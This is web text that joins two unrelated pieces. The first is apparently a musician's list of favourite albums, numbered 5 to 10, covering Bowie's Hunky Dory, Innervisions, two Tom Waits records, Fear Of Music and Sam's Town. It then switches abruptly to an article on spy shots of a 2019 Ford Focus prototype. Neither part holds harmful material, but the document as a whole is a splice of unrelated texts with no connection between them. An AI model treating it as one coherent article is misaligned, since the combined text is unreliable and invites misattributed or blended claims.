5. David Bowie – Hunky Dory (1971) My parents had a lot of those collections of hits which were not actually sung by the artists themselves.

We had Space Oddity on one of them and I remember being obsessed by it, aged four or five.

The idea of these guys spiralling off and not really knowing where they were.

Even if I think about it now I find it quite upsetting. Eventually I caught up with the real Bowie and this is my favourite.

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The sleeve has all these crossings-out and Bowie in his fantastic, blankety flares.

But he’s selling us such a dummy because what’s inside is so intricate and filigreed.

Life On Mars is the equal of anything on Sergeant Pepper’s.

6. Stevie Wonder – Innervisions (1973) I love this record.

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Stevie Wonder’s Living for the City could have been written by Paul McCartney, says Alex

Living For The City… wonderful.

Also, every time I say this someone threatens to punch me on the nose but He’s Misstra Know-It-All always sounds to me like a song Paul McCartney could have written.

And, of course, they became great pals.

7&8 Tom Waits – Closing Time (1973) and Rain Dogs (1985) Two different flavours of Tom Waits.

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Alex’s two favourite Tom Waits albums show different flavours of the singer

I love his voice enormously.

I love the Asylum label years, when he was a country singer basically – a piano country singer – and wrote these lovely melodies.

I’m guessing he went to Sunday school and learnt slightly Wesleyan hymn tunes.

There’s something “missionary piano” about some of them and that’s part of their charm.

9. Talking Heads – Fear Of Music (1979) David Byrne is actually a sort of philosopher, really.

Heaven is wonderful – “When this party’s is over, it will start again… Heaven is a place where nothing ever happens” – and Life During Wartime.

I’m a big fan of Byrne’s solo stuff too, Rei Momo (1989) is a fabulous album and Grown Backwards (2004) actually has him doing the Pearl Fishers duet with Rufus Wainwright.

It’s compelling and lovely.

10 The Killers – Sam’s Town (2006) What I love about The Killers is unearthing archaeologically lines that have come straight from other records – little homages.

That “Poor old Johnny Ray” line from Dexy’s turns up in one song.

I’ve never seen them live, apart from seeing The T In The Park on the telly, which I pretend is live, and I was once in a dressing room next to Brandon Flowers, at London Studios, and I could hear him practising a rather tricky high line.

That’s not unusual, really: I was once doing a corporate gig where Duran Duran were playing and heard Simon Le Bon doing arpeggios rather beautifully before going on stage… Hilarious!

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Based on these spy shots, we must be getting very close to the reveal of the 2019 Ford Focus. The prototype you see above was wearing the bare minimum of camouflage, and it isn’t even the basic-but-effective black-and-white type. It’s a flashy, colorful wrap that does break up some lines, but doesn’t leave much to the imagination. It even has a hashtag. A hashtag! It’s like it’s trying to be seen.

Anyway, because of the minimal coverings, we get a really clear look at the new hatchback body style. In comparison to the current Focus, the body is much cleaner with fewer creases and surfacing. There are some more drawn-out curves that highlight and accentuate the wheel arches, giving it a more athletic look. They’re curves that wouldn’t look totally out of place on a Mazda3. The grille is significantly different, and clearly drawn with the same pen as the new Fiesta’s, with the widest portion closer to the top as opposed to the bottom. There’s also an interesting amount of unadorned surface between the grille and the triangular fog lights.

Though Ford hasn’t given any specific date for when it will fully reveal the new Focus, we probably won’t have to wait long. As we mentioned, the fact that this car only has a wrap and even has a hashtag indicates Ford is all but ready to show the car. The L.A. auto show is coming up very soon, so it probably won’t be there. Instead, the Detroit show in January is a more likely bet.

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